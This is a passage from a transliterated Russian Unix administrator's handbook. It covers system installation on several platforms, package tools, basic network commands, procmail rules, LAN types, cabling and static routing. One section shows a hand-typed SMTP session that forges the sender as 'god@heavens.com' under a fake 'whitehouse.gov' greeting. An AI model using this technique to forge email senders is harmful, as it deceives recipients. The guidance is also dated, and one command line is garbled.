Sobstvenno izvlechenie fajlov s lenty zanimaet 20-40 minut, v
zavisimosti ot togo, skol'ko i kakie pakety vy reshili
ustanavlivat'.
Pervym voprosom sistema sprosit, kakoj u vas terminal.
Otvet'te, chto u nego 24 stroki i on imeet pozicionirovanie
kursora v stile vt100 ili unknown
Programma installyacii imeet tri osnovnyh rezhima:
1. Full install
2. upgrade
3. Maintance mode
Vtorym svoim voprosom programma installyacii predlozhit
vybrat' odin iz nih.
INSTALL - predusmatrivaet polnuyu ustanovku operacionnoj
sistemy. Vse fajlovye sistemy na diske budut zanovo
pererazmecheny - i, sledovatel'no, VSE FAJLY, kotorye do etogo
sushchestvovali na diske, BUDUT STERTY.
UPGRADE - obnovlenie "starinnoj" (obrazca 1988 goda i drevnee)
sistemy do sovremennoj versii. Starye dannye pri etom ne
unichtozhayutsya.(Za isklyucheniem teh, estestvenno, kotorye vklyucheny
v novoustanavlivaemye pakety). Nas etot rezhim ne kasaetsya,
poskol'ku u nas i tak novaya sistema ustanovlena s samogo
nachala.
MAINTANCE MODE - odnopol'zovatel'skij shell dlya
superpol'zovatelya. Podgotovlennyj administrator smozhet,
zagruzivshis' s lenty, vruchnuyu zanyat'sya remontom i ustraneniem
neispravnostej v operacionnoj sisteme, kotorye emu ne udalos'
by otremontirovat', zagruzis' on s diska. (I voobshche, ne vsegda
zhe udaetsya zagruzit'sya s diska).
Po vyhode iz maintance shell'a (klavisha Ctrl-D) nazhmite
Ctrl-C, chtob garantirovat' perezapusk installyacionnoj
procedury.
Esli vy installites' na disk neizvestnoj porody, vam
pridetsya pered zapuskom 1. Install ujti v Maintance modu i po
standartnoj sheme sdelat' opisanie etogo diska.
&dDBesta-88. Zagruzka s magnitnoj lenty.&d@
Vstavit' master-lentu Unix'a. Vklyuchit' pitanie. Na konsol'nom
terminale poyavitsya soobshchenie:
boot:
Vvodim "t:unix" ENTER (Zagruzit' unix s magnitnoj lenty)
boot: t:unix
RAM-disk u Bestix'a zanimaet 1000 Kb, vsled za nim raspolozhen
arhiv formata cpio s distributivom operacionnoj sistemy. Osta-
etsya otvetit' na neskol'ko voprosov i zatem zhdat' minut 20,
poka vse soderzhimoe lenty budet izvlecheno na disk.
&dDSun SPARCstation. Zagruzka s CD-ROM.&d@
Vstavit' CD-ROM. Vklyuchit' pitanie. Podozhdat', poka stanciya
"razogreetsya". Nazhat' STOP+A. (STOP - levaya verhnyaya klavisha na
levoj dopolnitel'noj klaviature). Poyavitsya boot-rom prompt Ok:
vvodim "boot cdrom". Esli SPARC staroj modeli - SS1, SS1+, SS2,
pridetsya vvodit' "boot sd(0,6,2)"
Ok boot sd(0,6,2)
Esli priglashenie imeet drugoj vid: "> " (??), to vmesto "boot"
nado nabrat' "b"
> b sd(0,6,2)
Posle zagruzki Unix zapustite komandu "suninstall", kotoraya i
provedet installyaciyu.
# suninstall
&dDLinux Slackware. Zagruzka s disket&d@
V Linux'e dlya installyacii nuzhno imet' dve zagruzochnye
diskety: BOOT (s nee zagruzhayutsya, na nej nahoditsya yadro), i
ROOT (na nej nahoditsya minimal'naya fajlovaya sistema s
programmoj installyacii). Obrazy etih disket v szhatom vide
hranyatsya v fajlah boot*/*.gz i root*/*.gz sootvetstvenno. Vam
nuzhno vybrat' po odnomu fajlu iz kazhdogo mnozhestva (naprimer
boot12/net.gz i root144/color144.gz) i izgotovit' iz nih
diskety. Programma GZIP.EXE -D ILI GUNZIP.EXE "razozhmet" eti
fajly, a RAWRITE.EXE "zal'et" ih na diskety. Sami pakety s
distributivom Linux mogut lezhat' na DOS-particii installiruemoj
mashiny, na NFS-servere, na disketah, na CD-ROM, na magnitnoj
lente.
Zagruzites' s boot-diskety, v otvet na prompt "Lilo boot:"
vvedite sootvetstvuyushchij parametr i Enter, podozhdite nemnogo.
VNIMANIE: Esli vasha mashina s Ethernet'noj kartoj ne2000
"zavisaet" pri popytke zagruzit' yadro, povtorite zagruzku s
dopolnitel'nymi parametrami, primerno takimi:
Lilo boot: ether=10,0x320,eth0
Vstav'te ROOT disketu, nazhmite Enter. Kogda poyavitsya "Console
login:" zalogin'tes' kak root i zapustite:
# fdisk /dev/hda
# setup
&dDLinux RedHat. Zagruzka s diskety&d@
V Linux versii RedHat odna zagruzochnaya disketa. Gruzimsya s
nee - a dal'she vse delaem po menyushkam. Distributiv mozhet lezhat'
na lokal'nom diske, NFS, FTP, SMB-servere.
&dDHP-UX 10.20. Zagruzka s CD-ROM&d@
Perehvatyvaem nachal'nuyu zagruzku klavishej ESC i iz
PDC-promta daem komandu "nashchupat' cdrom"
BOOT-ADMIN> search scsi
....
scsi.2.0 ... CDROM ....
Iz vydachi vylavlivaem "scsi ID CD" i gruzim ego
BOOT-ADMIN> boot scsi.2.0
Dal'she dejstvovat' po obstanovke, otvechaya na voznikayushchie v
menyushkah voprosy.
&dDHP-UX 10.20. Installyaciya po seti&d@
&dDGotovim server&d@
1. Ustanovit' s Install diska paket "Network cold install utils"
1a. (Esli nado installit' C-200 i starshe) Ustanovit' s Install
diska paket-patch ACE/PHCO-10751 "Enabling network install for ... C-200"
2. V fajl /etc/instl_boottab vpisat' neskol'ko _nezanyatyh_ adresov
3. Podmontirovat' Install CD i zaregistrirovat' ego kak Depot
mount /dev/dsk/c0t2d0 /cdrom
/usr/sbin/swreg -l depot /cdrom
4. Ne zabyt' po okonchanii rabot razregistrirovat' Depot
/usr/sbin/swreg -u -l depot /cdrom
&dDNa stancii&d@
Perehvatit' PDC-boot prompt (ESC ili Break v pervye 10 sek)
PDC> search lan install
Nekotorye stancii mogut nichego ne obnaruzhit', no vse ravno -
togda vtemnuyu daetsya komanda
PDC> boot lan.10.188.101.14.3.52 install
gde 10.188.101.14 - IP adres servera,
a chto takoe 3.52 - ne znaet nikto
.
&dDPakety: ustanovka dopolnitel'nogo softa&d@
&dD * Kak ustanavlivat' pakety v Solaris 2.5 * &d@
&dDAdministrirovanie programmnogo obespecheniya&d@
|tot vopros ochen' vazhen dlya podderzhki i obnovleniya
programmnogo obespecheniya. Dlya etoj celi v OS Solaris
predusmotren special'nyj mehanizm, podderzhivaemyj s pomoshch'yu
utilit "pkgadd" i "pkgrm", sootvetstvenno dobavlyayushchih i
udalyayushchih pakety iz sistemy. CHtoby eti utility mogli
operirovat' s paketami, oni dolzhny byt' predstavleny v
sootvetstvuyushchem vide, ili formate. K sozhaleniyu, daleko ne vse
programmnye produkty dostupny neposredstvenno v formate,
prigodnom dlya "pkgadd". Podavlyayushchee bol'shinstvo produktov dlya
Unix, dostupnyh cherez Internet, nahodyatsya v vide ishodnyh
tekstov, kotorye nado otkompilirovat' i skopirovat' v nuzhnye
mesta. |to imeet mesto, t.k. OS Unix ustanovlena na mashinah s
razlichnymi tipami processorov i razlichnoj arhitekturoj.
Original is here
&dDRuchnaya ustanovka&d@
Glava podgotovlena Sergeem Bogomolovym
Zdes' opisana tol'ko ustanovka paketa dlya sebya (standalone
system), esli vam nuzhno ustanovit' paket v rezhime
server/dataless/diskless - chitajte drugie knizhki (delat' eto nado
tol'ko s bol'shoj toski).
1. Stan'te superpol'zovatelem
2. vvedite:
/usr/sbin/pkgadd -d imya_direktorii_gde_lezhit_paket imya_paketa
naprimer:
/usr/sbin/pkgadd -d /cdrom/solaris_2_5/s0/Solaris_2.5 SUNWpkgA
mozhno ustanovit' neskol'ko paketov srazu (ukazhite ih imena cherez probely).
Imya paketa mozhno uznat' iz instrukcii ili s pomoshch'yu komandy:
/usr/sbin/pkginfo -d imya_direktorii_gde_lezhit_paket
Vnimanie: Solaris ne ochen' horosho otslezhivaet vzaimozavisimost' mezhdu
paketami, tak chto vy sami dolzhny pozabotit'sya o poryadke ustanovki.
Mnogie pakety lyubyat zadavat' vsyakie voprosy vo vremya ustanovki (kuda
vse eto pomestit', ves' li paket ustanovit' i t.d.), tak chto
bud'te gotovy. Naprimer, pri ustanovke toma AnswerBook sprashivaetsya,
chto kopirovat' na zhestkij disk: opisanie ili ves' tom.
Esli vy kopiruete tol'ko opisanie, to ishodnyj CD-ROM dolzhen
byt' ustanovlen kazhdyj raz, kogda vy zapuskaete AnswerBook, inache
nenajdennyj tom budet pomechen kak "nezhivoj" i ego pridetsya
vosstanavlivat'. Kstati, toma razbrosany po 7 diskam!!!
-----------------------------------------------------------------
&dDProverka ustanovki paketa.&d@
/usr/sbin/pkgchk <imya_paketa>
-----------------------------------------------------------------
&dDPoluchenie informacii o pakete:&d@
/usr/bin/pkginfo -l <imya_paketa>
naprimer:
pkginfo -l SUNWcar
PKGINST: SUNWcar
NAME: Core Architecture, (Root)
CATEGORY: system
ARCH: sparc.sun4m
VERSION: 11.5.1,REV=94.07.15.22.10
BASEDIR: /
VENDOR: Sun Microsystems, Inc.
DESC: Core Architecture, (Root)
PSTAMP: fourstar940718191413
INSTDATE: Aug 16 1995 03:39
HOTLINE: Please contact your local service provider
STATUS: completely installed
FILES: 51 installed pathnames
16 shared pathnames
7 directories
29 executables
3794 blocks used (approx)
---------------------------------------------------------------
&dDUdalenie paketa:&d@
/usr/sbin/pkgrm <imya_paketa>
---------------------------------------------------------------
&dDRabota s paketami v graficheskom interfejse&d@
(swmtool dlya 2.4 ili admintool dlya 2.5)
ne nado ustanavlivat' AnswerBook s ih pomoshch'yu.
SWMTOOL
zapusk:
1. stan'te superpol'zovatelem
2. perejdite v graficheskij rezhim, esli vy eshche ne pereshli v nego
3. vvedite:
/usr/sbin/swmtool &
Na ekrane voznikaet novoe okno, programma dolgo-dolgo sobiraet
informaciyu ob uzhe installirovannyh paketah, zatem perehodit v
rezhim ustanovki (rezhim INSTALL/REMOVE pereklyuchaetsya
sootvetstvuyushchimi knopochkami) i, skoree vsego, soobshchaet vam, chto
"ustrojstvo ne gotovo, pomenyajte ustanovki (property)" Delo v
tom, chto swmtool po umolchaniyu schitaet, chto ustanavlivaemyj
paket lezhit na CD-ROM i menedzher tomov vyklyuchen. Esli eto
dejstvitel'no tak, to vstav'te CD-ROM pered zapuskom swmtool.
Inache nazhmite knopku Props... (ustanovki), voznikaet blank, na
stranice (kategorii) Source Media kotorogo vam nado zadat'
ustrojstvo ili direktoriyu, gde lezhit paket.
Naprimer, menyaem Media Type na Mounted Directory, Directory
Name ustanavlivaem v /cdrom/cdrom0 (ustanovka s CD-ROM pri
vklyuchennom menedzhere tomov) i nazhimaem knopku Apply. Esli v
ukazannoj vami direktorii est' pakety, to ih opisaniya budut
perechisleny v glavnom okne swmtool. Dlya kazhdogo paketa
ukazyvaetsya: ikonka (odin yashchik - prostoj paket - na takuyu
ikonku mozhno zhat' dva raza, i poyavlyaetsya podrobnoe opisanie, 3
yashchika - sostavnoj paket - na takuyu ikonku mozhno zhat' dva raza, i
ona raskryvaetsya v spisok vnutrennih paketov - uroven'
vlozhennosti ne ogranichen), opisanie paketa i ego predpolagaemyj
razmer. Vybiraete neobhodimye vam pakety i nazhimaete knopku
Begin Installation (nachat' ustanovku). Dalee ves' dialog
proishodit v a/c rezhime kak pri ustanovke pkgadd. Kstati, blank
ustanovok imeet bol'shoe kolichestvo knopochek, menyushek i pr.:
est' s chem poigrat'sya...
Dlya togo, chtoby udalit' paket, nazhimaete knopku Remove,
vybiraete paket (pakety), kotoryj vy hotite udalit', i
nazhimaete knopku Begin Removal.
&dDIzgotovlenie sobstvennogo paketa&d@
CHtoby legche administrirovat' etot razroznennyj nabor fajlov, poluchayushchijsya
posle kompilyacii, ih mozhno privesti k formatu utility "pkgadd"
samostoyatel'no. Legche vsego etot vopros rassmotret' na konkretnom primere.
Pust' u nas est' paket, sostoyashchij iz 3h programm: "MyProg.bin", "Myprog.lib"
i "MyProg.man", kotorye dolzhny hranit'sya v katalogah "/usr/local/bin",
"/usr/local/lib" i "/usr/local/man" sootvetstvenno. CHtoby sdelat' iz nih
paket, nado prodelat' sleduyushchie prostye shagi:
a) Sozdadim direktoriyu, gde budut hranit'sya ishodnye
dannye dlya utility "pkgmk", kotoraya i delaet sobstvenno paket.
Pust' v nashem primere eto budet direktoriya "~/tmp/MyPackage".
b) Sozdadim pod nim sistemu direktorij, gde dolzhny
raspolagat'sya fajly paketa, i zatem skopiruem eti fajly na svoi
mesta. T.o. v rezul'tate u nas dolzhny poluchit'sya fajly:
~/tmp/MyPackage/bin/MyProg.bin, ~/tmp/MyPackage/lib/MyProg.lib
i ~/tmp/MyPackage/man/MyProg.man
v) Zatem nado sozdat' fajly "pkginfo" i "prototype". Oni
dolzhny vyglyadet' primerno tak (bolee podrobnuyu informaciyu ob
etih fajlah vy mozhete poluchit', nabrav komandy
man -s4 pkginfo
man -s4 prototype
Fajl "prototype":
!PROJDIR=/usr/local
1 i pkginfo=pkginfo
1 d none bin 0755 root other
1 f none bin/MyProg.bin 0644 root other
1 d none lib 0755 poul insects
1 f none lib/MyProg.lib 0644 root other
1 d none man 0755 poul insects
1 f none man/MyProg.man 0644 root other
Fajl "pkginfo":
PKG=MyProg
NAME=MyPackage
ARCH=sparc
VERSION=Version 1.0
CATEGORY=application
VENDOR=Pavel K. Klodin
EMAIL=webmaster@reksoft.ru
PSTAMP=Pstamp
BASEDIR=/usr/local
CLASSES=none
g) Posle togo, kak fajly sdelany, vypolnim sleduyushchie
komandy:
cd ~/tmp/MyPackage
pkgmk -o -d /tmp -r .
Posle etogo v direktorii "/tmp" budet sozdan paket "MyPackage" v vide
struktury fajlov i direktorij. S nim uzhe mozhno operirovat' utilitoj
"pkgadd". d) Teper', nakonec, vypolnim komandy (predvaritel'no stav
superpol'zovatelem s pomoshch'yu komandy "su -"):
cd /tmp
pkgadd -d .
PRIMECHANIE: Sleduet pomnit', chto pakety mogut byt'
predstavleny v dvuh ravnopravnyh formah:
v vide struktury direktorij (kak uzhe bylo rassmotreno vyshe);
v vide tak nazyvaemyh "potokovyh paketov" (stream packages).
Oni predstavlyayut soboj prostoj fajl, kak esli by byli
zapisany na strimmernoj kassete ili kakom-libo drugom
posledovatel'nom ustrojstve (otsyuda, vozmozhno, i nazvanie).
Obrashchat'sya s nimi sleduet tak zhe, kak i s "obychnymi" paketami v
vide struktury direktorij i fajlov. |ti 2 formy vzaimno
preobrazuyutsya komandoj "pkgtrans".
Sovetom podelilsya Pavel Klodin
&dDSummary of pkg commands:&d@
pkginfo {pkg} - test for presents of package.
pkgadd -d /cdrom/Solaris_2.3 <pkg ...>
- add missing packages
pkgrm {pkg ...} - remove packages.
pkgchk -q {pkg} - test for existance of package
pkgchk {options} [pkg] - check installed packages for
integrity.
Let's say your Solaris2 workstation is called "sol" and the
4.1.x server is called "bertha" and you want the printer name
to be "printer" (imaginative, eh?).
sol# lpsystem -t bsd bertha # says bertha is a bsd system
sol# lpadmin -p printer -s bertha # creates "printer" on "sol"
# to be printed on "bertha"
sol# accept printer # allow queuing
sol# enable printer # allow printing
sol# lpstat -t # check the status
sol# lpadmin -d printer # default
To get transparent mode, try this:
lpadmin -I any -p printer
&dD * Pakety v Linux RedHat * &d@
Postavit' paket
rpm -i filesystem-1.2-1.i386.rpm
Udalit' paket
rpm --erase filesystem-1.2-1
Spisok vseh paketov
rpm -qa
Spisok fajlov, vhodyashchih v neustanovlennyj paket:
rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it
rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it rpm2cpio < packetn
name-1.2-1.i386.rpm | cpio -it
rpm2cpio < packetname-1.2-1.i386.rpm | cpio -it
Spisok fajlov, vhodyashchih v ustanovlennyj paket:
rpm -l nfs-server-2.2beta16-5
Apdejty k RedHat lezhat zdes'. Obyazatel'no stavit' security updates
ftp://ftp.funet.fi/pub/Linux/mirrors/redhat/redhat/redhat-4.2/updates/i386/
Ustanovka apdejta
rpm -Uvh samba-1.9.18p7-0.i386.rpm
&dD * Pakety v HP-UX 10.20 * &d@
Pakety v HP-UX stavyatsya cherez podmenyushku SAM.
Spisok vseh paketov
swlist -l product
.
&dDNeskol'ko setevyh komand Unix&d@
&dD1. ping&d@. Prozvonit' udalenuyu mashinu.
Proveryaet, otklikaetsya li ukazannaya mashina po seti:
ping host.name
Vklyuchit' nepreryvnuyu "prozvonku" (s intervalom v 1 sek.):
ping -s host.name
Prervat' "prozvonku" - Strl-S .
&dD2. finger&d@. Kto rabotaet v sisteme.
Format ispol'zovaniya:
finger [-l] pol'zovatel'@setevoe.imya.komp'yutera
Kto rabotaet na mashine po imeni ipsun.ras.ru :
finger @ipsun.ras.ru
Kak pozhivaet pol'zovatel' Moshkov na etoj mashine:
finger -l moshkow@ipsun.ras.ru
&dD3. talk&d@. Vyzvat' pol'zovatelya na razgovor
talk moshkow ili
talk moshkow@fedfond - vyzvat' ukazannogo pol'zovatelya na
ukazannoj mashine na razgovor.
U etogo pol'zovatelya na ekrane poyavitsya priglashenie pogovorit':
Message from Talk_Daemon@ipsun at 23:29 ...
talk: connection requested by ivanov@server.fedfond.msk.su
talk: respond with: talk ivanov@server.fedfond.msk.su
I esli on naberet otvetnuyu komandu
talk ivanov@server.fedfond.msk.su
To vy smozhete pogovorit' drug s drugom. Okonchanie razgovora -
Ctrl-C
&dD4. mailx&d@. Poslat' komu nibud' elektronnuyu pochtu.
/* v Linux nado ispol'zovat' ne mailx, a prosto mail */
mailx username@host.name
Subject: Tema pis'ma
Tekst soobshcheniya
. . .
Okonchanie teksta soobshcheniya
CHtoby okonchit' vvod teksta pis'ma, v pustoj stroke nazhmite
Ctrl-D. Ili postav'te tochku "." v nachale stroki i nazhmite ENTER.
Esli pis'mo uzhe gotovo i nahoditsya v fajle let.txt, to otp-
ravit' ego mozhno tak:
mailx -s "Proverka pochty" semen@server.fedfond.spb.su < let.txt
&dD5. mailx&d@. Prochitat' prishedshuyu na moj adres pochtu.
mailx, zapushchennyj bez argumentov, perehodit v komandnyj rezhim
chteniya postupivshej pochty. V etom rezhime mozhno pol'zovat'sya
takimi komandami:
? - vydat' help po vsem dostupnym komandam
h 12 - zagolovki pisem nachinaya s 12-go nomera
6 - chitat' 6-oe pis'mo
d - unichtozhit' tekushchee pis'mo
s fajl - sohranit' pis'mo v fajle "fajl"
r - otvetit' na pis'mo
dlya nastroek programmy mailx ispol'zuetsya fajl .mailrc, kotoryj
dolzhen lezhat' v domashnem kataloge pol'zovatelya. V nem
zhelatel'no imet' strochki takogo primerno soderzhaniya:
########### vstav'te eti stroki v svoj fajl .mailrc !!!!
set crt=22
set record='/home/moshkow/Mail.sended'
##############################################################
# chtoby dlinnye pis'ma "listalis'" postranichno komandoj more ;
# sohranyat' kopii vseh otpravlennyh pisem
# v fajle /home/moshkow/Mail.sended ;
alias max moshkow@ipsun.ac.msk.su
alias kafedra petrov smirnov@nic.com lapin@sovim.mit.edu
# pochtovye aliasy - mozhno zadat' sinonimy dlya dlinnyh pochtovyh
# adresov ili gruppy adresov, i ispol'zovat' eti sinonimy
# vmesto adresa pri otpravke pochty
Esli vy hotite zavesti sebe blagozvuchnoe imya dlya adresa svoej
elektronnoj pochty, vstav'te v fajl /etc/aliases primerno takie
strochki:
Maksim.Moshkow: moshkow
moshkov: moshkow
i vypolnite komandu
newaliases
I teper' mne mozhno otpravlyat' pis'ma po takim adresam:
moshkow@moshkow.ru
moshkov@moshkow.ru
Maksim.Moshkow@moshkow.ru
Esli vy hotite pereadresovyvat' vse prishedshie vam pis'ma
na drugoj adres, sozdajte fajl $HOME/.forward i vpishite v nego
novyj@email.adres
ili, esli nuzhno otsylat' pis'ma, no ostavlyat' sebe kopiyu, to
\yourlogin, newadres@email.adres
Esli ispol'zuetsya Linux, to mozhno pol'zovat'sya sistemoj procmail
CHtoby pis'ma prislannye vam po spisku rassylki skladyvalis' v
otdel'nyj folder, pomestite v svoj $HOME/.procmailrc :
###############################################################
####### Udalyaem dublirovannie pisem (s odinakovym message-id)
:0 Wh: msgid.lock
| formail -D 8192 msgid.cache
####### Mail-listy sbrasyvaem v otdel'nyj folder
:0
* ^(Sender|To|CC): .*(ezh@cdru.com|ezh@ezhe.com|banners@list.techno.ru)
nsmail/ezh
####### Perenapravit' telo pis'ma (bez zagolovka) na programmu
:0 b
* Subject: .*uuencoded
| uudecode
####### Esli pis'mo nebol'shogo razmera i ne kasaetsya mailing-lista
####### "zhurnal@sharat.co.il" to kopiyu peresylat' na moj domashnij email.
#######$HOME/.procmailrc :
:0 c
* < 10000
* !^To: .*zhurnal
! moshkow@home.moshkow.ru
####### Posylaem podtverzhdenie o poluchenii pisem bol'she 30Kb
:0 h c
* > 30000
* !^From: CityCat
* !^From: .*linux
* !^FROM_DAEMON
* !^Subject: BOOK614
* !^X-Loop: moshkow@moshkow.ru
| ( egrep -v '^From moshkow|^Return-Path: moshkow' | formail -r -A"Precedence: junk" -A"X-Loop: moshkow@moshkow.ru" ; echo "Thanks, I have got your mail.") | $SENDMAIL -t
###############################################################
&dD6. telnet&d@. Zaloginit'sya na udalennuyu mashinu.
telnet host.name
Komanda telnet pozvolyaet vam zaloginit'sya na udalennuyu mashinu,
i rabotat' na nej, kak-budto vy sidite za terminalom, podklyu-
chennym neposredstvenno k nej.
U komandy telnet est' "goryachij klyuch" "Ctrl-]" , kotoryj perevo-
dit telnet v komandnyj rezhim. V etom rezhime mozhno menyat' para-
metry raboty telnet'a. Vyhod iz komandnogo rezhima - ENTER.
Sredi poleznyh komand nazovu tak zhe "exit" i "help"
&dD7. ftp&d@. File Trasfer Protocol. Peresylka fajlov.
CHto delat', esli nuzhno "peretashchit' fajl" s chuzhoj mashiny na
svoyu (ili naoborot), a NFS mezhdu nimi ne zapushchen? Ispol'zujte
programmu ftp. |to prosten'kaya komanda, pozvolyayushchaya peresylat'
fajly mezhdu mashinami po protokolu TCP/IP.
ftp host.name
User name (moshkow): ivanov
Passwd:
Udalennaya mashina sprosit u vas vashe vhodnoe imya i pa-
rol' (pod kotorymi vy zaregistrirovany NA UDALENNOJ mashine).
Esli vy na nej ne zaregistrirovany, poprobujte ukazat' vhodnoe
imya "anonymous", a v kachestve parolya - svoj email-adres.
Posle etogo ftp perehodit v komandnyj rezhim. V etom rezhime vy
mozhete "peremeshchat'sya" po katalogam udalennoj mashiny, po katalo-
gam svoej mashiny, prosmatrivat' ih oglavlenie, i zabirat' fajly
ottuda k sebe, ili klast' ih ot sebya - tuda.
ftp> help - govorit samo za sebya
ftp> quit - zavershit' rabotu
ftp> bin - ustanovit' rezhim peresylki binarnyh fajlov
(nastoyatel'no rekomenduyu)
ftp> cd katalog - peremeshchat'sya po "tamoshnim" katalogam
ftp> ls - vydat' "tamoshnee" oglavlenie
ftp> lcd katalog - peremeshchat'sya po "zdeshnim" katalogam
ftp> !dir - vydat' "zdeshnee" oglavlenie
ftp> !ls -al - vydat' "zdeshnee" oglavlenie
ftp> get file-tam [ file-name-zdes ] - vzyat' fajl ottuda
ftp> put file-zdes [ file-name-tam ] - polozhit' fajl tuda
&dDKak poslat' pis'mo vruchnuyu&d@
&dDtelnet localhost 25&d@
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 t30.systud.msk.su ESMTP Sendmail 8.8.5/8.8.5; Thu, 14 May 1998 18:01:21 +0400
vrfy ryba@aquarium.ru
expn ryba@aquarium.ru
&dDhelo whitehouse.gov&d@
250 t30.systud.msk.su Hello localhost [127.0.0.1], pleased to meet you
&dDmail from: god@heavens.com&d@
250 god@heavens.com... Sender ok
&dDrcpt to: moshkow@ipsun.ras.ru&d@
250 moshkow@ipsun.ras.ru... Recipient ok
&dDdata&d@
354 Enter mail, end with "." on a line by itself
&dDSubject: Time to pray!
This the time to pray caoming along!
God
.&d@
250 SAA01324 Message accepted for delivery
&dDquit&d@
.
&dDLokal'naya set': Ethernet, Token ring, FDDI&d@
&dDEthernet&d@
Carrier Sense Multiple Access Collision Detect (CSMA/CD)
Kontrol' nesushchej s mnozhestvennym dostupom i razresheniem
kollizij.
Standart Ethernet/2 i IEEE 802.3 pohozhi, no imeyut razlichnyj
format frejma
&dDEthernet'ov sushchestvuet 3 tipa:&d@
10baseT Neekranirovannaya vitaya para, raz®em RJ45
Twisted pair (Dlinna odnoj pary do 100m).
V lyuboj cepochke dolzhno byt' ne bolee 4-h habov.
10base5 Tolstyj Ethernet. ZHeltyj 2sm kabel', 15 pinovyj AUI
Thick ethernet konnektor u hosta. "Krab" - dlya podklyucheniya k osnovnomu
kabelyu. Na koncah - N-terminatory.(L<= 500m)
10base2 Tonkij Ethernet s koaksial'nym 50-omnym kabelem
Thin ethernet i BNC konnektorami.
Oficial'naya dlina kabelya 185 m (<=300m)
30 hostov na odnom segmente
+-----+
|Host o------------------. "Zvezda"
+-----+ \
\ ___
+-----+ \o | Hub
|Host o----------------------o | 10-base-T
+-----+ o___|
/
+-----+ /
|Host o------------------'
+-----+
+-----+ +-----+ +-----+ "Obshchaya shina"
|Host | |Host | |Host |
+--+--+ +--+--+ +--+--+ Thin
z-+---------------+---------------+-z
+-----+ +-----+ +-----+
|Host | |Host | |Host |
+--sh--+ +--sh--+ +--sh--+ Tolstyj ethernet
n n n ^
n n n |do 50m
"krab" n n v
n==M===============M===============M=======n
&dDToken ring&d@
Standart Token ring razrabotan dlya setej IBM, i prakticheski
sovpadaet s IEEE 802.5
Apparatno - zvezda (8 sht) na vitoj shielded ili unshielded
pare, podklyuchennaya k MultiStationAccessUnit (MSAU) Neskol'ko
MSAU mozhno soedinyat' drug s drugom, oni pri etom organizuyut
logicheskoe obshchee kol'co.
Logicheski - kol'co po kotoromu idet marker-telezhka. Prinyavshij
marker s soobshcheniem schityvaet esli ono emu, mozhet polozhit' svoe
esli marker "pust", ishch v lyubom sluchaet peredaet marker dal'she.
Projdya krug marker unichtozhaetsya stanciej, ego zapustivshej, i
zapuskaetsya novyj. Dopustim rovno odin marker. Marker vezet ne
bolee odnogo paketa s dannymi. Naznachaetsya stanciya-Monitor,
kotoraya sledit, chtob markery ne shli vtoroj krug, esli stanciya
ego porodivshaya ne smogla ego udalit'.
&dDFDDI&d@
Apparatno - dvojnoe optovolokonnoe kol'co. V bazovom rezhime
odno iz kol'ec ne ispol'zuetsya. V kol'ce est' nekotoroe
kolichestvo Dual Attachment stancij. Esli takaya stanciya
zamechaet, chto proshedshij skvoz' nee paket ne vernulsya po krugu
(kol'co porvano), ona avtomaticheski aktiviziruet vtoroe kol'co.
(To zhe dolzhna sdelat' DAS na drugoj storone ot obryva)
___0 DAS ___0 DAS
/___o /___|
// \\ //
|| |* --> || *
|| o| || o*
\\___/o DAS \\___/| DAS
\___/ \___/
Logicheski - kak i Token ring. Marker mozhet vezti pakety srazu
ot neskol'kih stancij. Funkcii Monitor'a vypolnyayut vse
uchastniki kol'ca.
&dDRaspaj Unshielded twisted pair&d@.
1 oranzh Tx+ | +-1---8-+ | Rx+ 3
2 ORANZH Tx- | | | | Rx- 6
3 zelen Rx+ | |_____| | Tx+ 1
4 SINIJ | |
5 sinij | |
6 ZELEN Rx- |___________| Tx- 2
7 korich (provod na nas)
8 KORICH
-----------------------------------------------------------------
Dlya soedineniya dvuh adapterov napryamuyu, bez HUB'a (point-to-point)
ispol'zuetsya "perevernutyj" provod. Tx+<-->Rx+, Tx-<-->Rx-,...
Mnogie sovremennye ethernet-kontrollery imeyut avtomaticheskoe
opredelenie kabelya, i ih mozhno vyazat' napryamuyu standartnym
"pryamym" kabelem - ne perevorachivaya.
.
&dDGlobal'naya set': hardvare i porty&d@
DTE DCE
(station, router) ** ------ ** (modem) <==== provajderskij link
&dDFizicheskie interfejsy podklyucheniya:&d@
EIA/TIA-232
EIA/TIA-449
V.24
V.35
X.21
G.703
EIA.530
HSSI
&dDLogicheskie protokoly WAN podklyucheniya:&d@
Data link encapsulation dlya sinhronnyh linij:
&dDDedicated WAN&d@
SDLC - Synchronous Data Link Control
HDLC - High-level Data Link Control
LAPB - Link Access Procedure Balanced
PPP - Point-to-Point Protocol
&dDSwitched WAN&d@
Frame Relay - uproshchenaya versiya HDLC frejminga
X.25
ISDN
.
&dDMarshrutizaciya TCP/IP&d@
Set' "Office"
+--------+ +--------+ Network 195.1.2.0
| | | | Netmask 255.255.255.0
+--------+ +--------+ Broadcast 195.1.2.255
| 195.1.2.3 | 195.1.2.10
----+-------------------+--------------------------+-------------
|195.1.2.1 | 195.1.2.2
+--------+ +--------+
|-|GatewayD| |GatewayO|
| +--------+ +--------+
| 198.8.2.1 SLIP : 122.5.6.9
| Set' "Developers" :
| +-------+ Network 198.8.2.0 :
|-| | Netmask 255.255.255.0 Modem
| +-------+ Broadcast 198.8.2.255 . . .
| 198.8.2.2
| Modem
| +-------+ . . .
|-| | :
| +-------+ SLIP: 122.5.6.10
| 198.8.2.3 +--------+
|GatewayF|
122.5.6.3+----+---+
--------------------------------------------------+--------
| 122.5.6.1 | 122.5.6.2 Set' "Filial"
+--------+ +--------+ Network 122.5.6.0
| | | | Netmask 255.255.255.192
+--------+ +--------+ Broadcast 122.5.6.63
Staticheskie tablicy marshrutizacii
Obychnyj Host IP 198.8.2.2
seti "Developers" Net: 198.8.2.0 -- 198.8.2.255
198.8.2.0 Default: 198.8.2.1
Most "GatewayD" ifconfig eth0 198.8.2.1
ifconfig eth1 195.1.2.1
route add net 198.8.2.0 198.8.2.1 0
route add net 195.1.2.0 195.1.2.1 0
route add default 195.1.2.2 1
Most "GatewayO" ifconfig eth0 195.1.2.2
ifconfig sl0 122.5.6.9 pointopoint 122.5.6.10
route add net 195.1.2.0 195.1.2.2 0
route add net 198.8.2.0 195.1.2.1 1
route add default 122.5.6.10 1
Obychnyj Host IP 195.1.2.3
seti "Office" Net: 195.1.2.0 -- 195.1.2.255
195.1.2.0 Default: 195.1.2.2
route add net 198.8.2.0 195.1.2.1 1
.
&dDSet' TCP/IP&d@
Protokol TCP/IP (Transmission Control Protocol/Internet Proto-
col) yavlyaetsya bazovym transportnym setevym protokolom v
